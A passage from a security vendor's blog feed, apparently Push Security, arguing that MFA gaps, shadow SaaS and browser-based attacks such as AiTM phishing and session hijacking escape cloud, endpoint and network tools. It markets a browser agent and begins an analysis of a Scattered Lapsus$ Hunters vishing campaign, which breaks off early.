employees login to their IdP account, you essentially secure the downstream logins to all of the business apps in use. </p><p><b>The reality is quite different. </b></p><p>Apps are routinely self-adopted by users. Most enterprises are using hundreds of apps across their workforce, for a variety of business purposes. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/7Bsch6QgVymNTG3rAhlDP3/2288395e281255e6826314ed84618a27/image2_3.png" alt="There are 100s of apps in use across an enterprise, resulting in 1000s of accounts (we see an average of 15x accounts per employee)."/><figcaption>There are 100s of apps in use across an enterprise, resulting in 1000s of accounts (we see an average of 15x accounts per employee).</figcaption></figure><p>Apps typically allow multiple, simultaneous login methods to exist. Many apps don’t allow you to restrict this even with admin-level controls (or needing to pay extra for the privilege). A huge number of apps don&#39;t even allow you to configure SAML SSO <a href="https://sso.tax/">without paying extra for the privilege</a> (if they offer it at all).</p><p>This means you can have a local password active at the same time as a secure SSO login option — we call these <b>ghost logins</b>. The worst part is that you can have an SSO login protected by MFA, at the same time as a local password without. This is one of the key reasons why we see that<b> 2 in 5 accounts are missing MFA. </b></p><p><b>Under the new regulations, this would be an automatic fail if discovered. </b></p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2disLRprEmiYXBc5B9ekJl/8ce8faba41e94b95672a8275e173e4bf/image6_1.png" alt="Ghost logins enable attackers to bypass secure authentication methods. "/><figcaption>Ghost logins enable attackers to bypass secure authentication methods.</figcaption></figure><p>Even more complexity comes in <b><i>how</i></b> MFA can be enforced. <b>Some SaaS services only allow MFA to be self-adopted</b> rather than centrally enforced by admin controls. This can often be linked to the product tier, with a higher level subscription required for tenant-level security features. Similarly, some apps do not provide admin-level visibility of MFA configuration for individual accounts. <a href="https://pushsecurity.com/blog/minimum-viable-identity-security/"><u>How each vendor chooses to set up their app is very inconsistent.</u></a> </p><p>Combining the <b>lack of SSO support</b> with the <b>ease of self adoption</b> and issue of <b>concurrent login methods</b>, we&#39;re in a world where passwords aren&#39;t going anywhere fast. And if you think your employees are using only one password at best (to log into their enterprise SSO) <a href="https://pushsecurity.com/blog/how-many-vulnerable-identities-do-you-have/">you&#39;re in for a big surprise</a>. </p><h2><b>The ripple effect</b></h2><p>The nature of the changes to the scope means that areas you were previously comfortable attesting to become way more complex. </p><ul><li><p>You have to enforce password policies and account lifecycle management on a long tail of SaaS, not just previously identified “core” apps. </p></li><li><p>This applies to external contractors too.</p></li></ul><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/50nkfseFjz2aJQlZLoNCpO/fd883edf749f715ac7d0b52774873f36/image5_5.png" alt="Account management requirements."/><figcaption>Account management requirements.</figcaption></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/fwBDarwTnB8YJ7VQrFQqa/8b9a6a22f9ac62ff4b4716b155403a3d/image3_8.png" alt="Password policy requirements."/><figcaption>Password policy requirements.</figcaption></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/6ulZcdHXvmr15qEeNdFaol/de23532bbb2502a7084dbdbdd9e61e7d/image7_3.png" alt="Third-party requirements."/><figcaption>Third-party requirements.</figcaption></figure><hr/><h1><b>Will your assumptions stand up to scrutiny? </b></h1><p>Previously, the approach to an audit would have been to show that the IdP dashboard is configured to require mandatory MFA, and all business apps are accessed securely via the IdP interface.  </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/3KhjNWelYkdooqHcZsJwgX/51ada3120e9ed0188ef195fbb2819870/image4.png" alt="Microsoft Entra and Okta SSO dashboard examples."/><figcaption>Microsoft Entra and Okta SSO dashboard examples.</figcaption></figure><p>But this only shows part of the picture. Cyber Essentials auditors typically interview employees and ask them to demonstrate logging into a variety of apps to show the MFA status and overall login process (e.g. are they using a password manager, do passwords meet the requirements, etc.). If the auditor discovers an app you were unaware of, that is accessed without using MFA, you’ve failed. </p><h2><b>This isn’t just a compliance concern — it’s a real security threat</b></h2><p>The reason that compliance is being forced to evolve is that this kind of security gap is being routinely exploited by attackers in the wild. Compromised credentials are available online in their billions, and that’s all an attacker needs to log into an account without MFA. </p><p>The recent criminal campaigns against Snowflake and Jira customers demonstrate this risk. </p><ul><li><p>The 2024 <a href="https://pushsecurity.com/blog/snowflake-retro/"><u>Snowflake</u></a> breaches resulted in billions of records being stolen from 165+ Snowflake tenants. Attackers simply logged into accounts without MFA at scale — &gt;80% of the credentials had been leaked online as early as 2020. </p></li><li><p>Criminals went on a <a href="https://pushsecurity.com/blog/why-attackers-are-targeting-jira-with-stolen-credentials/"><u>Jira</u></a> hacking spree, compromising 10 organizations publicly — including Jaguar Land Rover. The same attackers were then involved in the Scattered Lapsus$ Hunters ransomware operation that went down as the most economically consequential cyber breach to affect a G7 economy. </p></li></ul><p>You can read more about these Scattered Lapsus$ Hunters attacks and the bigger picture <a href="https://pushsecurity.com/blog/scattered-lapsus-hunters/"><u>here</u></a>.</p><p>The reality is that this has been happening for years. Regulation is always slow to catch up. It’s important that organizations understand why these changes are being made — to tackle the threat. </p><hr/><h1><b>Achieving compliance (and more importantly, security) with Push</b></h1><p>Here’s how you can use Push to comply with Cyber Essentials v3.3 onwards, as well as safeguard your business and users from threats.</p><ul><li><p><b>Discover apps and get them behind SSO: </b>Push captures every login from the browser, regardless of whether it’s federated or shadow. It builds a full map of your organization’s true identity footprint, including all accounts, apps, authentication methods, and SSO gaps. This allows you to spot apps that have been self adopted and take action. </p></li><li><p><b>Review MFA status and enforce MFA: </b>You can see the MFA status of every app, both at the IdP and local app level, as well as the type of MFA method used to assess security strength. This allows you to find and eliminate “ghost logins” not protected by MFA — by configuring MFA at the app level, or removing the local credential. You can also prompt employees to register an MFA method in real time as they access an app in their browser.</p></li><li><p><b>Find and fix weak, breached, and reused passwords: </b>Push check the posture of all your employee passwords. The browser agent accomplishes this by creating a salted hash of a user’s observed password and then taking the first 8 characters of that hash to store locally in the browser, checking it against a list of 10,000 common basewords and common permutations); flagging if it is reused across accounts (i.e. not unique) and has appeared in a data breach or compromised credential feed.</p></li><li><p><b>Easily deploy to contractors and third-parties: </b>Push’s lightweight extension is easy to deploy to any machine, including those you don’t directly manage. Deploying Push into a dedicated contractor browser profile means you can track third-party logins to your apps exactly like you would an internal employee. </p></li></ul><hr/><h1><b>Final thoughts</b></h1><p>Cyber Essentials has taken a meaningful step toward addressing the real threat organizations face in the form of compromised credentials and MFA gaps, but they’re not alone. When missing MFA has led to a cyber breach, it has been met with both <a href="https://pushsecurity.com/resources/mfa-regulation-compliance"><u>regulatory fines and insurance non-payment</u></a>, with NYDFS in particular leading the charge. </p><p>But this isn’t the only threat organizations face. Modern, browser-native attacks are dominating the breach headlines, with attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, ConsentFix, and session hijacking. </p><p>Push tackles all of these attacks using behavioral threat detection controls, powered by deep browser telemetry, to provide broad detection and blocking capabilities against attacks happening in the browser. This means analyzing the end-to-end process of a webpage loading/running in the browser, and how the user interacts with the page, to spot universal indicators of bad activity. </p><p>Want to learn more about Push and how we can help? <a href="https://pushsecurity.com/resources/product-brochure"><u>Check out our latest product overview</u></a>, <a href="https://pushsecurity.com/product-demo/"><u>visit our demo library</u></a>, or <a href="https://pushsecurity.com/demo"><u>book some time with one of our team for a live demo</u></a>.</p><p></p>]]></content:encoded>
    </item>
    <item>
      <title>Push + Cloud Security: What do you do when bad looks normal?</title>
      <link>https://pushsecurity.com/blog/push-plus-cloud-security</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/push-plus-cloud-security</guid>
      <pubDate>Fri, 06 Feb 2026 00:00:00 GMT</pubDate>
      <dc:creator>Peyton Padfield</dc:creator>
      <category>Browser-based attacks</category>
      <category>Detection &amp; response</category>
      <description>Why cloud security tools only give you part of the picture when it comes to modern attacks. </description>
      <content:encoded><![CDATA[<h1><b>Cloud security tools ensure secure configurations</b></h1><p>If you’re a cloud security architect, you probably don’t think in terms of firewalls and perimeters anymore. You think in control planes. Your job isn’t protecting a box or a subnet; it’s governing a sprawling web of IAM roles, service principals, APIs, and permissions that exist mostly as configuration and code. In this world, the boundary isn’t physical or even networked, it’s defined entirely by how your environment is configured.</p><p>The way most teams approached that problem was pragmatic. As cloud environments scaled, it became impossible to secure it by inspection or tribal knowledge. Cloud Security Posture Management tools and, later, Cloud Native Application Protection Platforms emerged to solve a very real problem: visibility and control over cloud configuration at scale. They gave teams a way to continuously assess infrastructure, track misconfigurations, and understand risk across accounts, regions, and services without drowning in raw provider logs.</p><p>That capability is important. Without it, cloud security simply doesn’t function. </p><p>CSPM and CNAPP answer the question of “is my cloud environment configured securely?”. They tell you whether an IAM role is too permissive, whether a resource is exposed, or whether a policy violates best practice. They tell you when a user or account is trying to do something they shouldn’t. </p><p>What they don’t answer is a different, increasingly important question: “What happens when attacker behavior is indistinguishable from legitimate user behavior?”</p><h2><b>But they can’t stop “legitimate” actions</b></h2><p>The gap (or lack of) between legitimate user behavior and malicious abuse is becoming more relevant as cloud breaches change shape. </p><p>In many of today’s incidents, attackers aren’t exploiting misconfigurations or abusing the cloud control plane directly. They’re compromising users. Once an authentication has occurred through illegitimate means, whether phishing, session hijacking, or token theft, the attacker operates entirely within an approved session.</p><p>From the perspective of cloud security tooling, very little looks wrong. The identity is valid. The access patterns appear expected. The infrastructure remains correctly configured. As long as the attacker operates within the bounds of what looks “normal”, no alarms are triggered. Meanwhile, sensitive actions are carried out through the browser, using the same interfaces and workflows as a real user.</p><hr/><h1><b>The gap between the IdP and the final API call — the “missing middle” in your security stack</b></h1><p>The browser session sits outside the telemetry and control model of infrastructure-focused cloud security tools. We call this the &quot;missing middle.&quot; It’s the space between the IdP login and the final cloud API call. </p><p>In theory, you could try to close the gap by stitching together logs from every SaaS application in your environment. In practice, anyone who’s attempted this knows how quickly it falls apart. </p><p>Each integration is brittle and expensive to maintain, and many applications don’t expose the level of telemetry you actually need, even if you’re willing to fork out for the top Security++ product tier. When you’re dealing with hundreds of apps per enterprise, each with their own configuration complexity, there’s a good chance that your solution focused on “core” cloud apps doesn’t actually have visibility of the full attack surface.</p><p>When logs do exist, they rarely show what you actually need. To a CSPM or CNAPP, it looks like an authorized user doing authorized things. A file was accessed or a setting was changed. What those tools can’t see is that the browser session itself was being manipulated in real time.</p><p>For <a href="https://pushsecurity.com/blog/scattered-lapsus-hunters/"><u>modern, cloud-native threat groups</u></a>, this lack of session-level visibility is their greatest advantage. They bypass the strong configuration and identity controls you’ve already implemented by simply stepping into the authorized stream. And by the time infrastructure-level signals suggest something is wrong, the attacker has already accomplished what they came for.</p><h2><b>Secure everything, still lose</b></h2><p>At some point, this forces a hard realization: you can do everything “right” at the cloud and identity layers and still lose.</p><p>You can lock down infrastructure-as-code, tighten IAM policies, enforce conditional access, and pass every posture check you care about. But none of that changes where access actually happens. When users work in cloud services, they do it through a browser. And once a session is established, that browser session becomes the real control plane.</p><p>That’s the shift cloud security teams are running into. The problem isn’t that CSPM or CNAPP failed, it’s that they can’t see the full picture. Bridging the missing middle means treating the browser session itself as something you can inspect and defend.</p><hr/><h1><b>Why moving detection and response to the browser is the solution</b></h1><p>First, <b>detection has to move into the browser</b>. Modern cloud attacks don’t announce themselves with known indicators or suspicious IPs; it’s all about behavior. A phishing kit rendering inside a login page. A session token being silently exfiltrated. A user interacting with a page that looks legitimate but isn’t. You only see those signals by inspecting the page, the scripts, and the user’s interaction, in real time, inside the tab, before any cloud API ever gets touched.</p><p>Second, <b>posture can’t stop at the IdP or cloud configuration.</b> It’s not enough to enforce MFA and SSO at a handful of centrally managed apps and assume the rest of the estate follows suit. Shadow SaaS breaks that assumption immediately. Local accounts, duplicate identities, and MFA gaps undermine cloud access controls, even when your AWS or Azure configuration is otherwise airtight. If a sensitive app allows password-only access, that weakness propagates straight back into your cloud environment.</p><p>Finally, when something does go wrong, teams need more than a login timestamp and an IP address. They need to know what the user actually saw and did. Click-by-click browser session data is what allows responders to understand intent, scope impact accurately, and determine whether a session was abused or simply used.</p><h2><b>Visibility into the browser session holds the answers</b></h2><p>If the browser session is where cloud access actually happens, then treating it as a black box is no longer viable.</p><p>This is where Push Security fits. Push is designed to cover the missing middle, not by replacing your existing cloud security stack, but by extending it into the one place it can’t reach on its own: the live browser session.</p><p>CSPM and CNAPP remain the right tools for securing cloud configuration and infrastructure. They tell you whether IAM policies are sane, resources are exposed, and guardrails are in place. Push addresses a different problem. It focuses on what happens once access is granted, when identity moves from configuration into motion.</p><p>Push does this by deploying a browser-native agent, like EDR operates at the host level. That agent gives defenders direct visibility into the application session itself like the page structure being rendered, the user’s interaction with it, and the behaviors attackers rely on when they hijack sessions in real time.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/62kkmEzar8I24kELigqdoq/8e4c0476ba9bec03c418977bed5f40e6/Screenshot_2026-01-30_at_16.42.19.png" alt="The browser sees the &quot;missing middle&quot; that is key to stopping modern attacks."/><figcaption>The browser sees the &quot;missing middle&quot; that is key to stopping modern attacks.</figcaption></figure><p>That visibility changes how cloud access can be defended.</p><ul><li><p><b>Real-time detection in the browser:</b> Detect in-browser attacker techniques as they happen, left of boom. Phishing kits rendering inside login flows, session tokens being intercepted, credential submission into lookalike pages — Push observes these behaviors directly and can block them before any cloud API is touched or a console is reached.</p></li><li><p><b>Complete visibility into cloud access paths:</b> Build an accurate inventory of how users are actually accessing cloud services. Push surfaces every application in use, including shadow SaaS, and shows which accounts are local, duplicated, missing MFA, or bypassing SSO — crucial visibility that falls between the cracks of application and identity provider. </p></li><li><p><b>Active hardening at the point of access:</b> Enforce secure login behavior across the entire application surface, not just centrally managed apps. Push can steer users toward using MFA and SSO and block risky credentials on unmanaged tools, closing identity gaps before they’re exploited.</p></li><li><p><b>Session-level context for rapid response:</b> When something does go wrong, Push provides the missing ground truth. Instead of stitching together partial logs or relying on brittle app-level integrations, responders can see exactly what the user saw and did in the browser (from context generated directly from the browser session itself) making it possible to understand intent, assess scope accurately, and contain a compromised session quickly.</p></li></ul><hr/><blockquote><p>Want to learn more about Push? <a href="https://pushsecurity.com/resources/product-brochure"><u>Check out our latest product overview</u></a>, <a href="https://pushsecurity.com/product-demo/"><u>visit our demo library</u></a>, or <a href="https://pushsecurity.com/demo"><u>book some time with one of our team for a live demo</u></a>.</p></blockquote><p></p>]]></content:encoded>
    </item>
    <item>
      <title>Push + Endpoint Security: Extending detection and response to the browser</title>
      <link>https://pushsecurity.com/blog/push-plus-endpoint-security</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/push-plus-endpoint-security</guid>
      <pubDate>Fri, 30 Jan 2026 00:00:00 GMT</pubDate>
      <dc:creator>Peyton Padfield</dc:creator>
      <category>Browser-based attacks</category>
      <category>Detection &amp; response</category>
      <description>Why extending detection and response into the browser is crucial in the face of modern attacks that consciously evade the network and endpoint. </description>
      <content:encoded><![CDATA[<h1><b>EDR is still the best tool for attacks that touch the endpoint</b></h1><p>Endpoint Detection and Response (EDR) tooling is fundamental to modern security. It earned its place as a foundational control by moving defense away from static, known-bad indicators and toward deep, real-time detection, investigation, and response based on behavior observed in a live environment. </p><p>By running an agent inside the operating system, EDR gave defenders something they never had before: visibility into what was actually happening on the host as it happened, and the ability to act on it.</p><p>That agent-level visibility is still incredibly powerful. File system changes, process execution, memory behavior, or registry modifications is the kind of telemetry that enables threat hunting, exposes fileless attacks, and allows teams to contain incidents by isolating a device or killing a malicious process. <b>For anything that touches the endpoint, EDR remains the right tool.</b></p><p>But that’s the key constraint: <i>for anything that touches the endpoint.</i></p><h2><b>But modern attacks have moved beyond the endpoint</b></h2><p>The reality of how work gets done has shifted. Most applications are now SaaS-based and accessed entirely through a browser. Employees authenticate, move data, administer systems, and interact with customers inside a browser window. And attackers have followed them there.</p><p>When attacks play out in the browser, endpoint-level signals often never appear. From the operating system’s perspective, there’s just a browser process behaving normally. The EDR agent is doing exactly what it was designed to do, but the activity that matters is happening within the browser itself.</p><p>That’s the gap teams are running into. EDR protects the integrity of the host, but it has no visibility into the live application session inside the browser. And as attackers consciously avoid the endpoint entirely, that blind spot is becoming harder to ignore.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/4zqrAlec1qJaCnE4OUFT7A/7dcd3f568ec90308ba1025ab5be686bb/Screenshot_2026-01-30_at_12.22.19.png" alt="Security Eras"/><figcaption>Modern attacks play out in the browser, exploiting a security blindspot</figcaption></figure><hr/><h1><b>Attackers are consciously evading EDR</b></h1><p>The gap endpoint teams are running into isn’t accidental. It’s the result of attackers adapting to where defenders are strongest (and weakest).</p><p>Modern EDR has made compromising the host operating system expensive and noisy. Deep telemetry and constant monitoring mean that even when an attacker manages to execute code on a device, that action is quickly under scrutiny. From there, progress is slow. After all, lateral movement and persistence take time, and all of it carries risk and generates signals defenders are good at catching.</p><p><b>So attackers take a different route. </b>Instead of targeting the OS, they operate inside the browser session, abusing legitimate access paths to cloud applications directly over the internet. The endpoint just sees a browser session, not the malicious activity that&#39;s happening inside it. </p><p>EDR agents are extremely good at protecting the operating system, but their visibility largely stops at the browser boundary. They can see that a browser process is running. They can’t see what a user is actually interacting with inside a specific tab, or what code is executing within the browser.</p><p>This is the shift security teams are feeling. Attacks don’t trigger endpoint alerts because they aren’t endpoint attacks. They unfold inside the browser, over standard web sessions, using legitimate accounts. To EDR, the host is unaffected. To the business, the damage is already underway.</p><h2><b>How modern attacks circumvent EDR</b></h2><p>Examples of modern attacks that are consciously evading EDR by staying off the endpoint include:</p><ul><li><p><b>AiTM phishing: </b>Sophisticated attacker-in-the-middle phishing kits render convincing login pages directly in the browser and proxy authentication in real time, stealing credentials or MFA tokens as the user enters them. From the OS perspective, nothing appears unusual; EDR can’t see the page structure or scripts running inside the tab.</p></li><li><p><b>Session hijacking:</b> When attackers obtain a valid session token, they gain persistent access to an account without needing a password at all. Once in use, the session typically blends into normal browser activity, generating no endpoint data. </p></li><li><p><b>Malicious browser extensions:</b> Malicious extensions (either made by attackers or hijacked by them) can read page content, intercept credentials, or siphon session tokens. Because extensions operate inside the browser’s execution model, their behavior is largely invisible to endpoint tooling focused on OS-level activity.</p></li></ul><p>Even attacks that nominally involve the endpoint often stay outside EDR’s strongest visibility. <b>ClickFix-style social engineering</b> is a good example. Attackers manipulate users into taking risky actions that look legitimate, the most prominent example being executing malicious commands on the host that are deliberately obfuscated or broken into benign-looking steps. While EDR may catch the code execution (and any malware the execution attempts to install), these techniques are designed to stay ambiguous enough to avoid reliable detection.</p><p>All of these attacks succeed for the same reason: the activity unfolds inside the browser. And because EDR was never designed to observe or control what happens inside a live browser session, attackers can operate there with far less resistance.</p><h2><b>Extending detection and response to the browser</b></h2><p>Defenders need to meet attackers where they actually operate. That means establishing real detection and response capabilities inside the browser itself.</p><p>When endpoint security evolved, it did so by putting an agent on the host to observe behavior, collect telemetry, and act at the source — <b>getting inside the data stream</b>. The same logic applies here. If the browser is where credentials are entered, sessions are established, and attacks unfold, then it needs to be treated as a security surface in its own right. <a href="https://pushsecurity.com/blog/push-plus-network-security">That doesn&#39;t mean just looking at web traffic, but examining client-side browser processes and activity that are the best, earliest indicators of bad activity. </a></p><p>This doesn’t replace EDR. EDR secures the host. Identity tools govern authentication. But the browser, the layer that connects users to everything else, is a blind spot. Extending detection and response into that layer fills the gap while complementing the controls that already work.</p><h2><b>Your browser detection and response checklist</b></h2><ul><li><p><b>Browser-native protection: </b>Running inside the browser is the only way you can see what page a user is interacting with, what scripts are running, and how the session is behaving in real time. It’s also the only place you can reliably distinguish between normal user activity and attacker-driven manipulation.</p></li><li><p><b>Behavioral detection:</b> Detection can’t rely on static indicators. It has to be based on behaviors — like how pages render, how credentials are submitted, and how sessions are established and abused. </p></li><li><p><b>Real-time interception:</b> Response has to be immediate. Blocking credential submission, interrupting a malicious action, capturing high-fidelity context, all of that needs to happen at the point of interaction — before an account is compromised.</p></li></ul><p>This is what it means to extend detection and response to the browser: not another tool bolted onto the stack, but a necessary evolution in how modern attacks are actually stopped.</p><blockquote><p>Want to learn more about Push? <a href="https://pushsecurity.com/resources/product-brochure">Check out our latest product overview</a>, <a href="https://pushsecurity.com/product-demo/">visit our demo library</a>, or <a href="https://pushsecurity.com/demo">book some time with one of our team for a live demo</a>.</p></blockquote><p></p>]]></content:encoded>
    </item>
    <item>
      <title>Push + Network Security: The gap between seeing the packet and securing the session</title>
      <link>https://pushsecurity.com/blog/push-plus-network-security</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/push-plus-network-security</guid>
      <pubDate>Fri, 30 Jan 2026 00:00:00 GMT</pubDate>
      <dc:creator>Peyton Padfield</dc:creator>
      <category>Browser-based attacks</category>
      <category>Detection &amp; response</category>
      <description>Why network and web traffic only gives you part of the picture when it comes to modern browser-based attacks. </description>
      <content:encoded><![CDATA[<h1><b>Defense used to start at the network perimeter</b></h1><p>If you&#39;ve been working in security for any length of time, you know where defense starts: the network. Long before cloud-first or SaaS-first became default, the perimeter was where defenders had leverage: visibility, enforcement, and control over traffic moving in and out of the organization.</p><p>That mental model hasn’t disappeared. Secure Web Gateways, Cloud Access Security Brokers, and the converged Security Service Edge architecture exist because the problem they solve is still real. Organizations generate an enormous volume of web traffic, and someone has to monitor it, filter it, and enforce policy at scale. These tools sit inline, log metadata, apply categorization, and block what’s already known to be dangerous. Without them, the environment quickly becomes unmanageable and extremely difficult to secure.</p><p>They are very good at what they were designed to do: securing the wire. <b>But what happens over the wire is not the full picture. </b></p><h2><b>Traffic isn&#39;t the whole picture anymore</b></h2><p>A significant amount of activity happens locally, inside the browser, beyond the visibility of network controls. Modern webpages are effectively complicated web apps that are rendered client-side via JavaScript — and not everything that happens on the page is traffic-generating. </p><p>That distinction matters more than it used to. Authentication, data access, administrative actions, almost all of it now happens inside a browser tab. As a result, the browser has become a central point of both productivity and risk.</p><p>Network tools still see the pipeline of traffic moving back and forth. But attackers have adapted to operate within that pipeline rather than around it. They don’t need to break the connection or trigger obvious anomalies. They target the content rendered inside the browser and the user interacting with it.</p><p><b>That leaves security teams with noisy traffic visibility and very little insight into the actual attack unfolding inside the browser session.</b></p><hr/><h1><b>Traffic visibility vs. in-browser context</b></h1><p>The modern attacker&#39;s playbook is built on a simple idea: stay inside the network’s line of sight without triggering detections or enforcement. Containing operations to the browser layer provides attackers with an easy bypass of many traditional network controls without ever needing to break or evade them outright.</p><p>They do this by staying ahead of known-bad detection models, constantly rotating domains and URLs, using anti-analysis techniques, and delivering phishing lures through channels that bypass traditional network ingress points like the email gateway (like social media or SMS). In many cases, the link is never evaluated by perimeter controls at all.</p><p>This creates a fundamental visibility gap. Network security tools can see a request going to a legitimate-looking destination, but they can’t observe what happens once the page executes client-side in the browser. Malicious scripts and phishing elements often don’t appear until after the page loads and a user interacts with it, leaving nothing obviously known-bad for network controls to detect.</p><p>Blocklists don’t help much here either. Domains rotate constantly, and the window between a phishing site going live and being categorized as malicious is more than enough time for an attacker to succeed. Until that happens, the traffic appears benign and the user is free to interact with the page. And to make matters worse, attackers are leveraging <a href="https://pushsecurity.com/blog/phishing-detection-evasion-launch/">detection evasion techniques</a> designed to frustrate these detections — meaning most bad pages aren&#39;t spotted until it&#39;s way too late. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/6b63OwWsBBv4z7HAiaOKL8/defc65b40e27f1b14ad64cbf09d8c1d4/Screenshot_2026-01-30_at_16.57.54.png" alt="Why known-bad detections are failing. "/></figure><p>Consider attacker-in-the-middle phishing. From the proxy’s perspective, everything looks clean: user → reputable domain → “standard” web traffic. The phishing infrastructure is often hidden behind redirects or conditional logic designed to screen out proxies and scanners. Inside the browser session, however, credentials are intercepted, session tokens are harvested, and MFA is bypassed in real time.</p><p>For <a href="https://pushsecurity.com/blog/scattered-lapsus-hunters/">modern threat groups</a>, these obscured attack vectors lead directly to initial access and account takeover. The network is no longer the control point where the most consequential attacks can be reliably stopped.</p><p><i>Browser telemetry is key to detecting and blocking malicious content in real-time, rather than relying on blocklists using known-bad indicators like domains and IPs that go out of date as quickly as new entries appear.</i></p><table><tr><th><p>What you see with traffic analysis</p></th><th><p>What you can see with browser telemetry</p></th></tr><tr><td><p>HTTP request/response bodies </p></td><td><p>DOM structure fingerprints</p></td></tr><tr><td><p>URLs and headers</p></td><td><p>User interaction metadata </p></td></tr><tr><td><p>Cookie values in transit</p></td><td><p>Cookie names and attributes</p></td></tr><tr><td><p>Static JS code</p></td><td><p>Script execution patterns and dynamic JS analysis</p></td></tr></table><hr/><h1><b>Securing the browser session is key to stopping modern threats</b></h1><p>If the browser is where users actually work, and where attackers actually operate, then that’s the layer that defenders need to understand and control.</p><p>Modern web-based attacks don’t succeed because traffic goes uninspected. They succeed because network inspection can’t follow the interaction far enough. Traffic shows where data went, not what the user actually saw or did, <b>and in today’s attacks, that distinction matters.</b></p><p>To stop these threats, you have to see what the user is actually interacting with. Things like what scripts are loading, how the DOM is being manipulated, or whether the login form a user is using is legitimate or being proxied. Those are page-level signals, and they only exist inside the browser tab.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/62kkmEzar8I24kELigqdoq/8e4c0476ba9bec03c418977bed5f40e6/Screenshot_2026-01-30_at_16.42.19.png" alt="The browser sees the &quot;missing middle&quot; that is key to stopping modern attacks."/><figcaption>The browser sees the &quot;missing middle&quot; that is key to stopping modern attacks.</figcaption></figure><p>That same shift applies to control. Destination-based blocking breaks down when the destination itself appears legitimate. Effective intervention requires decisions based on behavior as it unfolds so teams can stop risky or malicious activity that would compromise an account.</p><p>And visibility can’t stop at centrally managed applications. Shadow SaaS breaks any assumption that access patterns are uniform or fully governed by the IdP. Local accounts, duplicate identities, and password-only logins don’t show up clearly in network telemetry, but they materially expand the attack surface. Seeing every login, across every app, directly from the browser is the only way to build an accurate picture of who has access to what.</p><h2><b>Push provides the missing context for network security</b></h2><p>At this point, the gap should be clear. Network security gives you strong control over traffic, but very little insight into what actually happens once that traffic lands in a user’s browser.</p><p><b>This is where Push can help.</b></p><p>The Push browser agent extends monitoring into the browser itself, providing the visibility and control that perimeter-based tools can’t deliver. It doesn’t replace SSE, SWG, or CASB. Those tools remain the right way to manage traffic and enforce policy at the edge. Push complements them by operating in the one place they can’t: inside the live browser session.</p><p>Push does this by deploying a browser-native agent, similar in spirit to how EDR works at the host level. That agent gives defenders direct insight into what the network can’t see like the page being rendered, how the user is interacting with it, and the attack techniques that play out entirely within the tab.</p><p>With Push deployed, teams gain:</p><ul><li><p><b>Real-time, in-browser threat detection:</b> Detect and stop attacks like AiTM phishing and session hijacking based on what’s actually happening in the browser. Instead of relying on blocklists or downstream signals, Push identifies attacker behavior as it unfolds and can intervene before credentials or session tokens are stolen.</p></li><li><p><b>Complete visibility into SaaS access: </b>Build a true inventory of user identities and authentication methods across every application in use, including shadow SaaS. Push fills the gaps left by network and IdP logs, giving teams a real picture of where access exists and how it’s being granted.</p></li><li><p><b>Streamlined hardening at the point of access:</b> Use the browser as a control point to enforce secure login behavior everywhere it matters. Mandate MFA, steer users toward SSO, and block risky credentials on unmanaged apps, shifting from reactive cleanup to continuous, preventative hardening.</p></li></ul><p>The result is a unified model and real defense in depth. <b>Network tools secure the pipeline, and Push secures the user moving through it.</b></p><blockquote><p>Want to learn more about Push? <a href="https://pushsecurity.com/resources/product-brochure">Check out our latest product overview</a>, <a href="https://pushsecurity.com/product-demo/">visit our demo library</a>, or <a href="https://pushsecurity.com/demo">book some time with one of our team for a live demo</a>.</p></blockquote><p></p>]]></content:encoded>
    </item>
    <item>
      <title>Unpacking the latest SLH campaign — combining vishing with AiTM phishing to hijack SSO accounts</title>
      <link>https://pushsecurity.com/blog/unpacking-the-latest-slh-campaign</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/unpacking-the-latest-slh-campaign</guid>
      <pubDate>Wed, 28 Jan 2026 00:00:00 GMT</pubDate>
      <dc:creator>Dan Green</dc:creator>
      <category>Browser-based attacks</category>
      <category>Detection &amp; response</category>
      <description>Analyzing the latest Scattered Lapsus$ Hunters (SLH) phishing campaign targeting hundreds of organizations.
</description>
      <content:encoded><![CDATA[<p><a href="https://pushsecurity.com/blog/scattered-lapsus-hunters/"><u>Scattered Lapsus$ Hunters</u></a> are running a large-scale hybrid vishing plus AiTM phishing campaign across several industry verticals, targeting Okta, Entra, and Google SSO platforms. </p><p>The attacks begin with the attacker calling their victim, impersonating IT staff from their company. They offer to help the employee set up passkeys for logging into the enterprise SSO service, tricking the victim into visiting a specially crafted adversary-in-the-middle phishing site that captures their SSO credentials, MFA codes, and ultimately live session access. </p><p>Once an account is stolen, the attacker logs in to the SSO dashboard to see which platforms they have access to and then proceeds to steal data from them — with the ultimate goal of extorting victims. </p><hr/><h1><b>What we know</b></h1><p>To date, <a href="https://www.silentpush.com/blog/slsh-alert/"><u>100+ companies have been targeted</u></a>, with infrastructure and domains impersonating their brand to be used in legit-looking campaigns against them. The reality is that the list of targets could be more extensive, and will continue to increase over time. </p><p>SLH <a href="https://www.bleepingcomputer.com/news/security/shinyhunters-claim-to-be-behind-sso-account-data-theft-attacks/"><u>claims to be using data stolen in previous breaches</u></a>, such as the widespread Salesforce data theft attacks reported in 2025, to identify and contact employees. This data includes phone numbers, job titles, names, and other details used to make the social engineering calls more convincing.</p><p>The group recently relaunched its Tor data leak site, which currently lists breaches at <b>Betterment</b> (20 million records containing PII), <b>Crunchbase</b> (2 million records containing PII), and <b>SoundCloud</b> (30 million records containing PII). </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/PoWJBZ3uyl94usKVv3zgr/ed5aefc88cf39fe354755c7b145564bf/image4.png" alt="SLH TOR leak site with claimed victims."/><figcaption>SLH Tor leak site with claimed victims.</figcaption></figure><hr/><h1><b>What’s new?</b></h1><h2><b>The best of both worlds? Vishing + AiTM phishing</b></h2><p>SLH and threat actors affiliated with “The Com” are no stranger to voice phishing (vishing) or the use of MFA-bypassing Attacker-in-the-Middle (AitM) phishing kits. 